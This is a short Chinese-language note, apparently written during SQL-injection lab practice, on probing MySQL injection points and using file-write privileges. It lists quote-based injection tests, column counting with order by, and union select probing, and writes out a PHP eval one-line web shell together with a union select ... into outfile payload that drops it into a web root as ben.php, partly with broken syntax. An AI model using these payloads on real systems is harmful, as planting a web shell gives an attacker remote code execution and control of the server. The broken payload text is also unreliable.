mysql文件上传要点

1.show variables like '%secure%'；用来查看mysql是否有读写文件权；

2.数据库的file权限规定了数据库用户是否有权限，向操作系统写入和读取已存在的权限；

3.into outfile 命令使用的环境：必须知道一个，服务器上可以写入文件的文件夹的完整路径。

注入判断

1.' '' ') '') ')) '')) 和1 = 1，1=2 配合使用判断注入

2.order by ,group by 判断列数

3.union select 1,2,3,4,... 测试查询语句

文件上传指令

<?php @eval($_POST['password']); ?>为一句话木马。

union 1,2,"<? php @eval($_POST['password'];) ?>

into outfile "D:\\phpstudy_pro\\WWW\\ben.php"-- 

写入ben.php这个文件

D:\\phpstudy_pro\\WWW\\为文件路径。